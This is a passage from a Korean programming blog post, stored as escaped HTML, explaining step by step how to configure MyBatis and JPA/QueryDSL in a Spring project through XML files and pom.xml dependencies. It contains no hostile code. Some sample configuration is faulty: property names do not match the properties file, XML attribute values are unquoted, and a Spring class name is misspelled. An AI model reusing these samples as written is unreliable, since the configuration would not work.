&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;①pom.xml 에 의존을 추가해줍니다.&lt;/span&gt;&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #dddddd; color: #000000;&quot;&gt;&amp;lt;dependency&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #dddddd; color: #000000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;groupId&amp;gt;mybatis&amp;lt;/groupId&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #dddddd; color: #000000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;artifactId&amp;gt;mybatis-spring&amp;lt;/artifactId&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #dddddd; color: #000000;&quot;&gt;&amp;lt;/dependency&amp;gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;②classpath 에 디비 접속 관련 정보를 적은 프로퍼티를 작성합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;918&quot; data-origin-height=&quot;549&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bs7Fcu/btrTBjY4kcI/mz0db8dDFrK8mUz42x79X1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bs7Fcu/btrTBjY4kcI/mz0db8dDFrK8mUz42x79X1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bs7Fcu/btrTBjY4kcI/mz0db8dDFrK8mUz42x79X1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbs7Fcu%2FbtrTBjY4kcI%2Fmz0db8dDFrK8mUz42x79X1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;918&quot; height=&quot;549&quot; data-origin-width=&quot;918&quot; data-origin-height=&quot;549&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;classpath: 는 Eclips 등의 IDE에서 설정한 경로를 의미합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Eclipes 를 예시로 들자면 프로젝트 우클릭 - 속성 - Java Build Path 에 해당하는 경로들중에 한곳을 의미하므로&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작성한 파일을 읽어 들이기 위해선 해당하는 경로들중 한 곳에 위치할 필요가 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작성자는 AddFolder버튼으로 webapp 경로를 추가한 뒤, webapp 경로 안에 프로퍼티를 작성했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;dataconfig.properties&lt;/span&gt;&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;db.driver=&lt;span style=&quot;color: #8a3db6;&quot;&gt;myDriver&lt;/span&gt;&lt;br /&gt;db.url=&lt;span style=&quot;color: #8a3db6;&quot;&gt;myUrl&lt;/span&gt;&lt;br /&gt;db.username=&lt;span style=&quot;color: #8a3db6;&quot;&gt;myName&lt;/span&gt;&lt;br /&gt;db.password=&lt;span style=&quot;color: #8a3db6;&quot;&gt;myPass&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자신이 쓰는 url , driver 관련 정보는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://mytory.tistory.com/11&quot;&gt;카테고리&lt;/a&gt;&lt;span style=&quot;background-color: #fafafa;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;마지막 부분을 참고하세요&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;③&lt;span style=&quot;color: #006dd7;&quot;&gt;classpath &lt;/span&gt;에 mybatis-configuration.xml 를 작성합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;mybatis-configuration.xml&lt;/span&gt;&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;span style=&quot;color: #f89009;&quot;&gt;&amp;lt;?xml&amp;nbsp;version=&quot;1.0&quot;&amp;nbsp;encoding=&quot;UTF-8&quot;&amp;nbsp;?&amp;gt;&amp;lt;!DOCTYPE&amp;nbsp;configuration&amp;nbsp;PUBLIC&amp;nbsp;&quot;-//mybatis.org//DTD&amp;nbsp;Config&amp;nbsp;3.0//EN&quot;&amp;nbsp;&quot;http://mybatis.org/dtd/mybatis-3-config.dtd&quot;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&amp;lt;configuration&amp;gt;&lt;/span&gt;&lt;br /&gt;&amp;lt;typeAliases&amp;gt;&lt;br /&gt;&amp;lt;typeAlias&amp;nbsp;type=&quot;package.DTO&quot;&amp;nbsp;alias=&quot;DTOName&quot;&amp;gt;&amp;lt;/typeAlias&amp;gt;&lt;br /&gt;&amp;lt;!--package.DTO&amp;nbsp;의&amp;nbsp;패키지&amp;nbsp;명을&amp;nbsp;DTOName&amp;nbsp;이라&amp;nbsp;칭함&amp;nbsp;--&amp;gt;&lt;br /&gt;&amp;lt;/typeAliases&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;properties resource=&amp;ldquo;&lt;span style=&quot;color: #8a3db6;&quot;&gt;classpath:/dataconfig.properties&lt;/span&gt;&amp;rdquo;/&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;environments default=&quot;development&quot;&amp;gt;&lt;br /&gt;&amp;lt;environment&amp;nbsp;id=&quot;development&quot;&amp;gt;&lt;br /&gt;&amp;lt;transactionManager type=&quot;JDBC&quot;&amp;gt;&amp;lt;/transactionManager&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;dataSource&amp;nbsp;type=&quot;POOLED&quot;&amp;gt;&lt;br /&gt;&amp;lt;property name=&quot;driver&quot; value=${db.driver}&amp;gt;&amp;lt;/property&amp;gt;&amp;lt;!--$는 따옴표없음 #은 따옴표 있음--&amp;gt;&lt;br /&gt;&amp;lt;property name=&quot;url&quot; value=${db.url}&amp;gt;&amp;lt;/property&amp;gt;&lt;br /&gt;&amp;lt;property name=&quot;username&quot; value=${db.name}&amp;gt;&amp;lt;/property&amp;gt;&lt;br /&gt;&amp;lt;property name=&quot;password&quot; value=${db.pass}&amp;gt;&amp;lt;/property&amp;gt;&lt;br /&gt;&amp;lt;/dataSource&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/environment&amp;gt;&lt;br /&gt;&amp;lt;/environments&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;mappers&amp;gt; &amp;lt;mapper resource=&quot;/mybatis-mapper.xml&quot;/&amp;gt;&amp;nbsp;&amp;lt;/mappers&amp;gt;&lt;br /&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&amp;lt;/configuration&amp;gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;④&lt;span style=&quot;color: #006dd7;&quot;&gt;classpath &lt;/span&gt;에 mybatis-mapper.xml 를 작성합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;※접은 글은 어디 까지나 작성예시 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;mybatis-mapper.xml&lt;/span&gt;&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&amp;lt;?xml&amp;nbsp;version=&quot;1.0&quot;&amp;nbsp;encoding=&quot;UTF-8&quot;?&amp;gt;&amp;lt;!DOCTYPE&amp;nbsp;mapper&amp;nbsp;PUBLIC&amp;nbsp;&quot;-//mybatis.org//DTD&amp;nbsp;Mapper&amp;nbsp;3.0//EN&quot;&amp;nbsp;&quot;http://mybatis.org/dtd/mybatis-3-mapper.dtd&quot;&amp;gt;&lt;br /&gt;&amp;lt;mapper&amp;nbsp;namespace=&quot;ExampleNameSpace&quot;&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;delete&amp;nbsp;id=&quot;deleteN&quot;&amp;gt;&amp;nbsp;&amp;nbsp;&amp;lt;![CDATA[delete&amp;nbsp;from&amp;nbsp;table_psd&amp;nbsp;where&amp;nbsp;idx&amp;nbsp;=&amp;nbsp;#{idx}&amp;nbsp;&amp;nbsp;&amp;nbsp;]]&amp;gt;&amp;lt;/delete&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;update&amp;nbsp;id=&quot;updateN&quot;&amp;nbsp;parameterType=&quot;DTOName&quot;&amp;nbsp;resultType=&quot;java.util.HashMap&quot;&amp;gt;&lt;br /&gt;UPDATE&amp;nbsp;TABLE_PSD&amp;nbsp;SET&amp;nbsp;NAME&amp;nbsp;=&amp;nbsp;#{name}&amp;nbsp;&amp;lt;!--DTOName&amp;nbsp;안에있는&amp;nbsp;인스턴스--&amp;gt;WHERE&amp;nbsp;IDX&amp;nbsp;=&amp;nbsp;#{idx}&amp;nbsp;&lt;br /&gt;&amp;lt;/update&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/mapper&amp;gt;&lt;/blockquote&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;⑤작성한 mapper와 config 파일로 Configuration.xml 에 Bean을 만들어 등록합니다. &lt;/span&gt;&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;configuration 에서 프로퍼티를 읽는 방법에 호환성 문제가 있어 나눠서 씁니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스프링 3.1이상&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;Beans 의 xmlns:context 속성 안에&lt;br /&gt;xmlns:context=&amp;nbsp;&quot;http://www.springframework.org/schema/context&quot; 과xsi:schemaLocation= &quot;http://www.springframework.org/schema/context/spring-context-자신의버전.xsd&quot;&lt;br /&gt;를 추가한뒤&amp;nbsp;&lt;br /&gt;&amp;gt;&lt;br /&gt;&amp;lt;context:property-placeholder location=&quot;&lt;span style=&quot;color: #8a3db6;&quot;&gt;classpath:/dataconfig.properties&lt;/span&gt;&quot; /&amp;gt;를 작성해 줍니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전체 공용&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&amp;lt;bean class=&quot;org.springframwork.beans.factory.config.PropertyPlaceholderConfigurer&quot;&amp;gt; &lt;br /&gt;&amp;lt;property name=&quot;locations&quot;&amp;gt; &lt;br /&gt;&amp;lt;list&amp;gt; &lt;br /&gt;&amp;lt;value&amp;gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;classpath:/dataconfig.properties&lt;/span&gt;&amp;lt;/value&amp;gt; &lt;br /&gt;&amp;lt;/list&amp;gt; &lt;br /&gt;&amp;lt;/property&amp;gt; &lt;br /&gt;&amp;lt;/bean&amp;gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 프로퍼티를 읽어서 사용해줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&amp;lt;bean id=&quot;&lt;span style=&quot;color: #006dd7;&quot;&gt;datasource&lt;/span&gt;&quot;&amp;nbsp;class=&quot;org.apache.commons.dbcp.BasicDataSource&quot;&amp;nbsp;destroy-method=&quot;close&quot;&amp;gt;&lt;br /&gt;&amp;lt;property name=&quot;driverClassName&quot; value=&quot;${db.driver}&quot;/&amp;gt;&lt;br /&gt;&amp;lt;property&amp;nbsp;name=&quot;url&quot;&amp;nbsp;value=&quot;${db.url}&quot;/&amp;gt;&lt;br /&gt;&amp;lt;property&amp;nbsp;name=&quot;username&quot;&amp;nbsp;value=&quot;${db.username}&quot;/&amp;gt;&lt;br /&gt;&amp;lt;property&amp;nbsp;name=&quot;password&quot;&amp;nbsp;value=&quot;${db.password}&quot;/&amp;gt;&lt;br /&gt;&amp;lt;/bean&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;bean&amp;nbsp;class=&quot;org.mybatis.spring.SqlSessionFactoryBean&quot;&amp;nbsp;id=&quot;sessionfactory&quot;&amp;gt;&lt;br /&gt;&amp;lt;property&amp;nbsp;name=&quot;dataSource&quot;&amp;nbsp;ref=&quot;&lt;span style=&quot;color: #006dd7;&quot;&gt;datasource&lt;/span&gt;&quot;&amp;gt;&amp;lt;/property&amp;gt;&lt;br /&gt;&amp;lt;property name=&quot;mapperLocations&quot; value=&quot;&lt;span style=&quot;color: #8a3db6;&quot;&gt;classpath:/*.xml&lt;/span&gt;&quot;&amp;gt;&amp;lt;/property&amp;gt;&amp;lt;!--mapper 들을 읽어옴 --&amp;gt;&lt;br /&gt;&amp;lt;property&amp;nbsp;name=&quot;configLocation&quot;&amp;nbsp;value=&quot;&lt;span style=&quot;color: #8a3db6;&quot;&gt;classpath:/mybatis-configuration.xml&lt;/span&gt;&quot;&amp;gt;&amp;lt;/property&amp;gt;&lt;br /&gt;&amp;lt;/bean&amp;gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;xml로 configuration 을 작성하는 방법을 모르신다면&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;a href=&quot;https://mytory.tistory.com/239&quot;&gt;여기&lt;/a&gt;의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마지막 항목에 있는 &lt;span style=&quot;background-color: #fafafa;&quot;&gt;configuration.xml&lt;/span&gt; 을 참고해 주세요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;@ImportResource({&quot;classpath:/configuration.xml&quot;})&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;를 통해서 해당 내용물을 읽어올 수 있습니다.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;background-color: #fcfcfc; color: #009a87;&quot;&gt;&lt;span style=&quot;background-color: #fcfcfc;&quot;&gt;&lt;span style=&quot;background-color: #fcfcfc;&quot;&gt;2.JPA&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;①pom.xml 에 의존을 추가해줍니다.&lt;/span&gt;&lt;span style=&quot;background-color: #fcfcfc; color: #333333;&quot;&gt;&lt;span style=&quot;background-color: #fcfcfc;&quot;&gt;&lt;span style=&quot;background-color: #fcfcfc;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&amp;lt;dependency&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;groupId&amp;gt;org.springframework.data&amp;lt;/groupId&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;artifactId&amp;gt;spring-data-jpa&amp;lt;/artifactId&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;lt;version&amp;gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;2.0.5.RELEASE&lt;/span&gt;&amp;lt;/version&amp;gt;&lt;br /&gt;&amp;lt;/dependency&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;dependency&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;lt;groupId&amp;gt;org.slf4j&amp;lt;/groupId&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;lt;artifactId&amp;gt;slf4j-log4j12&amp;lt;/artifactId&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;lt;version&amp;gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;1.7.32&lt;/span&gt;&amp;lt;/version&amp;gt;&lt;br /&gt;&amp;lt;/dependency&amp;gt; &amp;lt;!--위의 spring data jpa 와 호환되는 버전일 필요가 있음--&amp;gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&amp;lt;dependency&amp;gt; &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;lt;groupId&amp;gt;org.hibernate&amp;lt;/groupId&amp;gt; &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;lt;artifactId&amp;gt;hibernate-entitymanager&amp;lt;/artifactId&amp;gt; &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;lt;version&amp;gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;5.2.10.Final&lt;/span&gt;&amp;lt;/version&amp;gt; &amp;lt;!-- 호환 관련 오류로 5.2.10.Final로 수정 2022-12-13 --&amp;gt;&lt;br /&gt;&amp;lt;/dependency&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;!--QueryDSL관련--&amp;gt;&lt;br /&gt;&amp;lt;dependency&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;lt;groupId&amp;gt;com.querydsl&amp;lt;/groupId&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;lt;artifactId&amp;gt;querydsl-jpa&amp;lt;/artifactId&amp;gt; &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;lt;version&amp;gt;4.1.4&amp;lt;/version&amp;gt; &lt;br /&gt;&amp;lt;/dependency&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;dependency&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;lt;groupId&amp;gt;com.querydsl&amp;lt;/groupId&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;lt;artifactId&amp;gt;querydsl-apt&amp;lt;/artifactId&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;lt;version&amp;gt;4.1.4&amp;lt;/version&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;lt;scope&amp;gt;provided&amp;lt;/scope&amp;gt; &lt;br /&gt;&amp;lt;/dependency&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;②configuration.xml 에 설정을 추가합니다.&lt;/span&gt;&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&amp;lt;beans 내부에 추가&lt;br /&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;xsi:schemaLocation&lt;/span&gt;=&lt;span style=&quot;color: #ee2323;&quot;&gt;&quot;&lt;/span&gt;http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd 기존 구문 아래로 추가&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;http://www.springframework.org/schema/data/jpa &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;http://www.springframework.org/schema/data/jpa/spring-jpa.xsd &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;http://www.springframework.org/schema/tx&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;http://www.springframework.org/schema/tx/spring-tx-4.3.xsd&lt;/span&gt;&quot;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;&lt;br /&gt;xmlns:jpa&lt;/span&gt;=&lt;span style=&quot;color: #006dd7;&quot;&gt;&quot;http://www.springframework.org/schema/data/jpa&quot;&lt;br /&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;xmlns:tx&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;&quot;http://www.springframework.org/schema/tx&quot;&lt;/span&gt;&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;jpa:repositories base-package=&quot;&lt;span style=&quot;color: #ee2323;&quot;&gt;패키지경로.패키지&lt;/span&gt;&quot; /&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/beans&amp;gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #fcfcfc; color: #ee2323;&quot;&gt;패키지경로.패키지&lt;/span&gt;은 JpaRepository를 상속받은 인터페이스들의 위치를 의미합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;@Repository 를 달지 않고도 경로에있는 상속받은 객체들은 모두 빈으로 등록됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만 ,&amp;nbsp; 이 문구가 원인이 되어 오류가 발생할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오류들에 대한 확인은 아래 닫힌 글을 확인해주세요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #fafafa;&quot;&gt;내용과 별개로&lt;/span&gt;&lt;span style=&quot;background-color: #fafafa;&quot;&gt;.&lt;/span&gt;&lt;span&gt;xml로 configuration 을 작성하는 방법을 모르신다면&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;a href=&quot;https://mytory.tistory.com/239&quot;&gt;여기&lt;/a&gt;의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마지막 항목에 있는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #fafafa;&quot;&gt;configuration.xml&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;을&lt;span&gt;&amp;nbsp;&lt;/span&gt;참고해 주세요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;@ImportResource({&quot;classpath:/configuration.xml&quot;})&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;를 통해서 해당 내용물을 읽어올 수 있습니다.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+관련 오류&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;1.만약 커스텀 JpaRepository 를 extends 해서 사용한다면&lt;br /&gt;CustomRepository 와 CustomRepositoryImpl 가 같은 패키지 안에 존재하는지 확인해주세요.&lt;br /&gt;&lt;br /&gt;2.TransactionManager 를 아직 Bean으로 등록하지 않았거나 못읽었을 때 해당 구문은 예외를 던집니다.&lt;br /&gt;&lt;br /&gt;3.@WebMvcTest , @Test 에서 사용할 경우 2번의 bean을 읽어 들이지 못함에 따른 예외를 던집니다.&lt;/blockquote&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;③pom.xml 에 플러그인을 추가합니다.&lt;/span&gt;&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #fcfcfc; color: #333333;&quot;&gt;build - plugins 에 추가합니다.&lt;/span&gt;&lt;/p&gt;
